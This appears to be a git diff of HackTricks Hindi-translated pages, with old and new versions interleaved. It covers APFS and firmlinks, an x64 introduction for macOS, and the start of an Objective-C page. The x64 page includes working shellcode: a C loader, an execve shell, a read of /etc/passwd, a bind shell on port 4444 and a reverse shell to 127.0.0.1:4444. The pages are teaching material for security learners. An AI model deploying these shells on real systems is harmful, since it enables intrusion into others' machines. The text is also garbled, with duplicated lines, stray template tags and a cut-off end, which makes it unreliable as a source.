* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Apple Propietary File System (APFS)
## Apple Proprietary File System (APFS)
**Apple File System (APFS)** एक आधुनिक फ़ाइल सिस्टम है जो Hierarchical File System Plus (HFS+) को बदलने के लिए डिज़ाइन किया गया है। इसका विकास **बेहतर प्रदर्शन, सुरक्षा, और कुशलता** की आवश्यकता से हुआ था।
**Apple File System (APFS)** एक आधुनिक फ़ाइल प्रणाली है जिसे **Hierarchical File System Plus (HFS+)** के स्थान पर डिज़ाइन किया गया है। इसका विकास **बेहतर प्रदर्शन, सुरक्षा, और दक्षता** की आवश्यकता से प्रेरित था।
APFS के कुछ महत्वपूर्ण विशेषताएँ शामिल हैं:
APFS की कुछ उल्लेखनीय विशेषताएँ हैं:
1. **Space Sharing**: APFS एक ही फिजिकल उपकरण पर मौजूद नि:शुल्क स्टोरेज को **एक ही भूतकालिक वॉल्यूम के साथ साझा करने की अनुमति देता है**। यह वॉल्यूम डायनामिक रूप से बढ़ और घट सकते हैं बिना मैनुअल रीसाइजिंग या पुनर्विभाजन की आवश्यकता के।
1. इसका मतलब है, तुलनात्मक रूप से **कि APFS में विभिन्न विभाजन (वॉल्यूम) सभी डिस्क स्थान को साझा करते हैं**, जबकि एक साधारण विभाजन में सामान्यत: एक निर्धारित आकार होता था।
2. **Snapshots**: APFS **स्नैपशॉट बनाने** का समर्थन करता है, जो **केवल पढ़ने योग्य** होते हैं, फ़ाइल सिस्टम के समय-समय पर उदाहरण होते हैं। स्नैपशॉट एक्सपर्ट बैकअप और आसान सिस्टम रोलबैक को संभव बनाते हैं, क्योंकि वे कम अतिरिक्त स्टोरेज खपत करते हैं और त्वरित रूप से बनाए जा सकते हैं या पुनर्वर्तित किए जा सकते हैं।
3. **Clones**: APFS **फ़ाइल या निर्देशिका क्लोन बना सकता है जो मूल के साथ समान स्टोरेज को साझा करते हैं** जब तक या तो क्लोन या मूल फ़ाइल संशोधित नहीं होती। यह सुविधा फ़ाइल या निर्देशिकाओं की प्रतिलिपि बनाने के लिए एक कुशल तरीका प्रदान करती है बिना स्टोरेज स्थान को दोहराने की आवश्यकता के
4. **Encryption**: APFS **पूरे डिस्क एन्क्रिप्शन** का समर्थन करता है साथ ही प्रति-फ़ाइल और प्रति-निर्देशिका एन्क्रिप्शन, विभिन्न उपयोग मामलों में डेटा सुरक्षा को बढ़ाता है।
5. **Crash Protection**: APFS एक **कॉपी-ऑन-राइट मेटाडेटा योजना का उपयोग करता है जो फ़ाइल सिस्टम संरचना की संरचना को सुनिश्चित करती है** यहाँ तक कि अचानक बिजली की चोट या सिस्टम क्रैश के मामलों में भी, डेटा करप्शन के जोखिम को कम करती है।
1. **स्पेस शेयरिंग**: APFS कई वॉल्यूम को **एक ही भौतिक डिवाइस पर समान अंतर्निहित मुक्त संग्रहण साझा करने** की अनुमति देता है। यह अधिक कुशल स्थान उपयोग की अनुमति देता है क्योंकि वॉल्यूम बिना मैनुअल आकार बदलने या पुनः विभाजन की आवश्यकता के बिना गतिशील रूप से बढ़ और घट सकते हैं
1. इसका मतलब है, पारंपरिक विभाजनों की तुलना में फ़ाइल डिस्क में, **कि APFS में विभिन्न विभाजन (वॉल्यूम) सभी डिस्क स्थान साझा करते हैं**, जबकि एक नियमित विभाजन आमतौर पर एक निश्चित आकार का होता था।
2. **स्नैपशॉट**: APFS **स्नैपशॉट बनाने का समर्थन करता है**, जो **पढ़ने के लिए केवल** समय-निर्धारित उदाहरण होते हैं। स्नैपशॉट कुशल बैकअप और आसान सिस्टम रोलबैक की अनुमति देते हैं, क्योंकि वे न्यूनतम अतिरिक्त संग्रहण का उपभोग करते हैं और जल्दी से बनाए या वापस लाए जा सकते हैं।
3. **क्लोन**: APFS **फाइल या डायरेक्टरी क्लोन बना सकता है जो मूल के समान संग्रहण साझा करते हैं** जब तक कि या तो क्लोन या मूल फ़ाइल में संशोधन नहीं किया जाता। यह सुविधा फ़ाइलों या डायरेक्टरी की प्रतियाँ बनाने का एक कुशल तरीका प्रदान करती है बिना संग्रहण स्थान को डुप्लिकेट किए
4. **एन्क्रिप्शन**: APFS **पूर्ण-डिस्क एन्क्रिप्शन** के साथ-साथ प्रति-फ़ाइल और प्रति-डायरेक्टरी एन्क्रिप्शन का **स्वाभाविक रूप से समर्थन करता है**, विभिन्न उपयोग मामलों में डेटा सुरक्षा को बढ़ाता है।
5. **क्रैश सुरक्षा**: APFS एक **कॉपी-ऑन-राइट मेटाडेटा योजना का उपयोग करता है जो फ़ाइल प्रणाली की स्थिरता सुनिश्चित करता है** यहां तक कि अचानक पावर लॉस या सिस्टम क्रैश के मामलों में, डेटा भ्रष्टाचार के जोखिम को कम करता है।
सम्ग्र, APFS एप्पल उपकरणों के लिए एक और आधुनिक, लचीला, और कुशल फ़ाइल सिस्टम प्रदान करता है, जिसका मुख्य ध्यान प्रदर्शन, विश्वसनीयता, और सुरक्षा पर है।
कुल मिलाकर, APFS Apple उपकरणों के लिए एक अधिक आधुनिक, लचीली, और कुशल फ़ाइल प्रणाली प्रदान करता है, जिसमें बेहतर प्रदर्शन, विश्वसनीयता, और सुरक्षा पर ध्यान केंद्रित किया गया है।
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
`Data` वॉल्यूम **`/System/Volumes/Data`** में माउंट किया गया है (आप इसे `diskutil apfs list` के साथ जांच सकते हैं).
`Data` वॉल्यूम **`/System/Volumes/Data`** में माउंट किया गया है (आप इसे `diskutil apfs list` के साथ चेक कर सकते हैं)।
फर्मलिंक्स की सूची **`/usr/share/firmlinks`** फ़ाइल में मिल सकती है।
Firmlinks की सूची **`/usr/share/firmlinks`** फ़ाइल में पाई जा सकती है।
```bash
cat /usr/share/firmlinks
/AppleInternal AppleInternal
/Applications Applications
/Library Library
[...]
```
**बाएं** में, यहाँ **सिस्टम वॉल्यूम** पर निर्देशिका पथ है, और **दाएं** में, यहाँ **डेटा वॉल्यूम** पर मैप होने वाला निर्देशिका पथ है। तो, `/library` --> `/system/Volumes/data/library`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,73 +1,88 @@
# **x64 का परिचय**
# Introduction to x64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **x64 का परिचय**
## **Introduction to x64**
x64, जिसे x86-64 भी कहा जाता है, एक 64-बिट प्रोसेसर आर्किटेक्चर है जो अधिकतर डेस्कटॉप और सर्वर कंप्यूटिंग में प्रयोग किया जाता है। जो x86 आर्किटेक्चर से उत्पन्न हुआ था जिसे इंटेल द्वारा उत्पादित किया गया था और बाद में AMD ने AMD64 नाम से अपनाया, यह व्यक्तिगत कंप्यूटर और सर्वरों में प्रचलित आर्किटेक्चर है।
x64, जिसे x86-64 के नाम से भी जाना जाता है, एक 64-बिट प्रोसेसर आर्किटेक्चर है जो मुख्य रूप से डेस्कटॉप और सर्वर कंप्यूटिंग में उपयोग किया जाता है। यह Intel द्वारा निर्मित x86 आर्किटेक्चर से उत्पन्न हुआ और बाद में AMD द्वारा AMD64 नाम से अपनाया गया, यह आज व्यक्तिगत कंप्यूटरों और सर्वरों में प्रचलित आर्किटेक्चर है।
### **रजिस्टर**
### **Registers**
x64 x86 आर्किटेक्चर पर आधारित है, जिसमें **16 जनरल-पर्पस रजिस्टर** हैं जिन्हें `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, और `r8` से `r15` तक नामित किया गया है। इनमें से प्रत्येक ए**64-बिट** (8-बाइट) मान स्टोर कर सकता है। इन रजिस्टरों के पास 32-बिट, 16-बिट, और 8-बिट सब-रजिस्टर भी हैं संगतता और विशेष कार्यों के लिए
x64 x86 आर्किटेक्चर का विस्तार करता है, जिसमें **16 सामान्य प्रयोजन रजिस्टर** होते हैं जिन्हें `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, और `r8` से `r15` तक लेबल किया गया है। इनमें से प्रत्येक **64-बिट** (8-बाइट) मान को स्टोर कर सकता है। इन रजिस्टरों में संगतता और विशिष्ट कार्यों के लिए 32-बिट, 16-बिट, और 8-बिट उप-रजिस्टर भी होते हैं
1. **`rax`** - सामान्यत: फ़ंक्शन से **रिटर्न मान** के लिए प्रयोग किया जाता है।
2. **`rbx`** - अक्सर मेमोरी ऑपरेशन के लिए **बेस रजिस्टर** के रूप में प्रयोग किया जाता है।
3. **`rcx`** - **लूप काउंटर्स** के लिए सामान्यत: प्रयोग किया जाता है।
4. **`rdx`** - विभिन्न भूमिकाओं में प्रयोग किया जाता है जिसमें विस्तारित अंकगणित ऑपरेशन शामिल है
1. **`rax`** - पारंपरिक रूप से **फंक्शनों** से **रिटर्न वैल्यू** के लिए उपयोग किया जाता है।
2. **`rbx`** - अक्सर मेमोरी ऑपरेशनों के लिए **बेस रजिस्टर** के रूप में पयोग किया जाता है।
3. **`rcx`** - सामान्यतः **लूप काउंटर** के लिए उपयोग किया जाता है।
4. **`rdx`** - विभिन्न भूमिकाओं में पयोग किया जाता है जिसमें विस्तारित अंकगणितीय संचालन शामिल हैं
5. **`rbp`** - स्टैक फ्रेम के लिए **बेस पॉइंटर**
6. **`rsp`** - **स्टैक पॉइंटर**, स्टैक के शीर्ष का ट्रैक रखने के लिए
7. **`rsi`** और **`rdi`** - स्ट्रिंग/मेमोरी ऑपरेशन में **स्रोत** और **गंतव्य** सूचकों के लिए प्रयोग किया जाता है।
8. **`r8`** से **`r15`** - x64 में पेश किए गए अतिरिक्त जनरल-पर्पस रजिस्टर।
6. **`rsp`** - **स्टैक पॉइंटर**, स्टैक के शीर्ष को ट्रैक करता है
7. **`rsi`** और **`rdi`** - स्ट्रिंग/मेमोरी ऑपरेशनों में **स्रोत** और **गंतव्य** अनुक्रमांक के लिए उपयोग किया जाता है।
8. **`r8`** से **`r15`** - x64 में पेश किए गए अतिरिक्त सामान्य प्रयोजन रजिस्टर।
### **कॉलिंग कनवेंशन**
### **Calling Convention**
x64 कॉलिंग कनवेंशन ऑपरेटिंग सिस्टम के बीच भिन्न होता है। उदाहरण के लिए:
x64 कॉलिंग कनवेंशन ऑपरेटिंग सिस्टम के बीच भिन्न होता है। उदाहरण के लिए:
* **Windows**: पहले **चार पैरामीटर** को रजिस्टर **`rcx`**, **`rdx`**, **`r8`**, और **`r9`** में पारित किया जाता है। आगे के पैरामीटर स्टैक पर ढकेले जाते हैं। रिटर्न मान **`rax`** में होता है।
* **सिस्टम V (UNIX-जैसे सिस्टमों में सामान्य रूप से प्रयोग किया जाता है)**: पहले **छः पूर्णांक या पॉइंटर पैरामीटर** को रजिस्टर **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, और **`r9`** में पारित किया जाता है। रिटर्न मान भी **`rax`** में होता है।
* **Windows**: पहले **चार पैरामीटर** रजिस्टर **`rcx`**, **`rdx`**, **`r8`**, और **`r9`** में पास किए जाते हैं। आगे के पैरामीटर स्टैक पर पुश किए जाते हैं। रिटर्न वैल्यू **`rax`** में होती है।
* **System V (जो UNIX-लाइक सिस्टम में सामान्यतः उपयोग किया जाता है)**: पहले **छह पूर्णांक या पॉइंटर पैरामीटर** रजिस्टर **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, और **`r9`** में पास किए जाते हैं। रिटर्न वैल्यू भी **`rax`** में होती है।
यदि फ़ंक्शन में छः से अधिक इनपुट हैं, **बाकी को स्टैक पर पारित किया जाएगा****RSP**, स्टैक पॉइंटर, को **16 बाइट एलाइंड** होना चाहिए, जिसका मतलब है कि इसका पता जिस पर यह पॉइंट करता है, किसी भी कॉल से पहले 16 से विभाजनीय होना चाहिए। इसका मतलब है कि सामान्यत: हमें यह सुनिश्चित करने की आवश्यकता होगी कि RSP हमारे शैलकोड में उचित रूप से एलाइंड है पहले हम किसी फ़ंक्शन को कॉल करते हैं। हालांकि, व्यावहारिक रूप से, इस आवश्यकता को पूरा न करने पर भी कई बार सिस्टम कॉल काम करते हैं
यदि फंक्शन में छह से अधिक इनपुट हैं, तो **बाकी स्टैक पर पास किए जाएंगे****RSP**, स्टैक पॉइंटर, को **16 बाइट्स संरेखित** होना चाहिए, जिसका अर्थ है कि जिस पते की ओर यह इशारा करता है, वह किसी भी कॉल से पहले 16 से विभाज्य होना चाहिए। इसका मतलब है कि सामान्यत हमें यह सुनिश्चित करने की आवश्यकता होगी कि RSP हमारे शेलकोड में सही ढंग से संरेखित है इससे पहले कि हम एक फंक्शन कॉल करें। हालाँकि, प्रैक्टिस में, सिस्टम कॉल कई बार काम करते हैं भले ही यह आवश्यकता पूरी न हो
### स्विफ्ट में कॉलिंग कनवेंशन
### Calling Convention in Swift
स्विफ्ट का अपना **कॉलिंग कनवेंशन** है जो [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) में देखा जा सकता है।
Swift की अपनी **कॉलिंग कन्वेंशन** है जिसे [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) पर पाया जा सकता है।
### **सामान्य निर्देश**
### **Common Instructions**
x64 निर्देशों में एक समृद्ध सेट है, पहले x86 निर्देशों के साथ संगतता बनाए रखते हैं और नए निर्देशों को पेश करते हैं
x64 निर्देशों का एक समृद्ध सेट है, जो पहले के x86 निर्देशों के साथ संगतता बनाए रखता है और नए निर्देशों को पेश करता है
* **`mov`**: एक मान को एक **रजिस्टर** या **मेमोरी स्थान** से दूसरे में **मूव** करें।
* उदाहरण: `mov rax, rbx``rbx` से `rax` में मान को मूव करता है।
* **`push`** और **`pop`**: स्टैक पर मानों को **पुश** या **पॉप** करें।
* **`mov`**: एक **रजिस्टर** या **मेमोरी स्थान** से दूसरे में एक मान **स्थानांतरित** करें।
* उदाहरण: `mov rax, rbx``rbx` से `rax` में मान स्थानांतरित करता है।
* **`push`** और **`pop`**: स्टैक पर मानों को पुश या पॉप करें।
* उदाहरण: `push rax``rax` में मान को स्टैक पर पुश करता है।
* उदाहरण: `pop rax` — स्टैक से शीर्ष मान को `rax` में पॉप करता है।
* **`add`** और **`sub`**: **जोड़ने** और **घटाने** के ऑपरेशन।
* उदाहरण: `add rax, rcx``rax` और `rcx` में मानों को जोड़कर परिणाम को `rax` में स्टोर करता है।
* **`mul`** और **`div`**: **गुणा** और **भाग** के ऑपरेशन। ध्यान दें: इनके ऑपरेंड का प्रयोग करने के संबंध में विशेष व्यवहार होता है।
* **`call`** और **`ret`**: फ़ंक्शन को **कॉल** और **वापसी** के लिए प्रयोग किया जाता है।
* **`int`**: सॉफ़्टवेयर **इंटरप्ट** को ट्रिगर करने के लिए प्रयोग किया जाता है। उदाहरण, 32-बिट x86 लिनक्स में सिस्टम कॉल्स के लिए `int 0x80` का प्रयोग किया गया था।
* **`cmp`**: दो मानों की **तुलना** करता है और परिणाम के आधार पर सीपीयू के फ्लैग सेट करता है।
* उदाहरण: `cmp rax, rdx``rax` को `rdx` के साथ तुलना करता है।
* **`je`, `jne`, `jl`, `jge`, ...**: **शर्तानुसार जंप** निर्देशाएं जो पिछले `cmp` या टेस्ट के परिणामों के आधार पर नियंत्रण प्रवाह को बदलती हैं।
* उदाहरण: `cmp rax, rdx` निर्देश के बाद, `je label``rax` बराबर है तो `rdx` पर जाता है।
* **`syscall`**: कुछ x64 सिस्टमों में **सिस्टम कॉल्स** के लिए प्रयोग किया जाता है (जैसे आधुनिक यूनिक्स)।
* **`add`** और **`sub`**: **जोड़** और **घटाव** संचालन।
* उदाहरण: `add rax, rcx``rax` और `rcx` में मानों को जोड़ता है और परिणाम को `rax` में स्टोर करता है।
* **`mul`** और **`div`**: **गुणा** और **भाग** संचालन। नोट: इनका ऑपरेटर उपयोग के संबंध में विशिष्ट व्यवहार होता है।
* **`call`** और **`ret`**: **फंक्शनों** को **कॉल** और **रिटर्न** करने के लिए उपयोग किया जाता है।
* **`int`**: एक सॉफ़्टवेयर **इंटरप्ट** को ट्रिगर करने के लिए उपयोग किया जाता है। उदाहरण: `int 0x80` 32-बिट x86 Linux में सिस्टम कॉल के लिए उपयोग किया गया था।
* **`cmp`**: दो मानों की **तुलना** करें और परिणाम के आधार पर CPU के फ्लैग सेट करें।
* उदाहरण: `cmp rax, rdx``rax` की तुलना `rdx` से करता है।
* **`je`, `jne`, `jl`, `jge`, ...**: **संविधानात्मक कूद** निर्देश जो पिछले `cmp` या परीक्षण के परिणामों के आधार पर नियंत्रण प्रवाह को बदलते हैं।
* उदाहरण: `cmp rax, rdx` निर्देश के बाद, `je label` — यदि `rax` `rdx` के बराबर है तो `label` पर कूदता है।
* **`syscall`**: कुछ x64 सिस्टम (जैसे आधुनिक Unix) में **सिस्टम कॉल** के लिए उपयोग किया जाता है।
* **`sysenter`**: कुछ प्लेटफार्मों पर एक अनुकूलित **सिस्टम कॉल** निर्देश।
### **Function Prologue**
1. **पुराने बेस पॉइंटर को पुश करें**: `push rbp` (कॉलर के बेस पॉइंटर को सहेजता है)
2. **वर्तमान स्टैक पॉइंटर को बेस पॉइंटर में स्थानांतरित करें**: `mov rbp, rsp` (वर्तमान फंक्शन के लिए नए बेस पॉइंटर को सेट करता है)
3. **स्थानीय चर के लिए स्टैक पर स्थान आवंटित करें**: `sub rsp, <size>` (जहाँ `<size>` आवश्यक बाइट्स की संख्या है)
### **Function Epilogue**
1. **वर्तमान बेस पॉइंटर को स्टैक पॉइंटर में स्थानांतरित करें**: `mov rsp, rbp` (स्थानीय चर को डिअलॉकेट करें)
2. **स्टैक से पुराने बेस पॉइंटर को पॉप करें**: `pop rbp` (कॉलर के बेस पॉइंटर को पुनर्स्थापित करता है)
3. **रिटर्न करें**: `ret` (कॉलर को नियंत्रण लौटाता है)
## macOS
### सिसकॉल
### syscalls
विभिन्न क्लास के सिसकॉल होते हैं, आप उन्हें [**यहाँ पा सकते हैं**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
syscalls की विभिन्न श्रेणियाँ हैं, आप [**यहाँ उन्हें खोज सकते हैं**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -76,7 +91,7 @@ x64 निर्देशों में एक समृद्ध सेट
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
फिर, आप प्रत्येक सिसकॉल नंबर [**इस URL में**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
फिर, आप प्रत्येक syscall संख्या [**इस URL में**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** खोज सकते हैं:
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -93,13 +108,13 @@ x64 निर्देशों में एक समृद्ध सेट
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
इसलिए `open` सिसकॉल (**5**) को **Unix/BSD class** से बुलाने के लिए इसे जोड़ना होगा: `0x2000000`
इसलिए **Unix/BSD वर्ग** से `open` syscall (**5**) को कॉल करने के लिए आपको इसे जोड़ना होगा: `0x2000000`
इसलिए, open को बुलाने के लिए सिसकॉल नंबर होगा `0x2000005`
तो, `open` को कॉल करने के लिए syscall संख्या होगी `0x2000005`
### शैलकोड
### Shellcodes
ॉम्पाइल करने के लिए:
संकल करने के लिए:
{% code overflow="wrap" %}
```bash
@ -124,7 +139,7 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
<details>
<summary>ैलकोड का परीक्षण करने के लिए सी कोड</summary>
<summary>ेलकोड का परीक्षण करने के लिए C कोड</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -172,12 +187,12 @@ return 0;
```
</details>
#### शैल
#### Shell
[**यहाँ से**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) लिया गया है और समझाया गया है।
यह [**यहां**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) से लिया गया है और समझाया गया है।
{% tabs %}
{% tab title="adr के साथ" %}
{% tab title="with adr" %}
```armasm
bits 64
global _main
@ -215,7 +230,7 @@ syscall
#### कैट के साथ पढ़ें
उद्देश्य है `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को execute करना, इसलिए दूसरा तर्क (x1) पैरामीटरों का एक एरे है (जिसका मतलब है कि मेमोरी में ये पते का स्टैक है)।
लक्ष्य `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना है, इसलिए दूसरा तर्क (x1) पैरामीटर का एक ऐरे है (जो मेमोरी में इनका मतलब पतों का एक स्टैक है)।
```armasm
bits 64
section .text
@ -246,7 +261,7 @@ section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### एसएच के साथ कमांड को आमंत्रित करें
#### sh के साथ कमांड को लागू करें
```armasm
bits 64
section .text
@ -284,9 +299,9 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### बाइंड शैल
#### Bind shell
बाइंड शैल [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) में **पोर्ट 4444**
**पोर्ट 4444** में [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) से Bind shell
```armasm
section .text
global _main
@ -361,9 +376,9 @@ mov rax, r8
mov al, 0x3b
syscall
```
#### रिवर्स शैल
#### Reverse Shell
रिवर्स शैल [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) से**127.0.0.1:4444** को रिवर्स शैल।
[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) से रिवर्स शेल। रिवर्स शेल **127.0.0.1:4444** पर
```armasm
section .text
global _main
@ -425,16 +440,17 @@ mov rax, r8
mov al, 0x3b
syscall
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,36 +1,52 @@
# macOS Objective-C
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
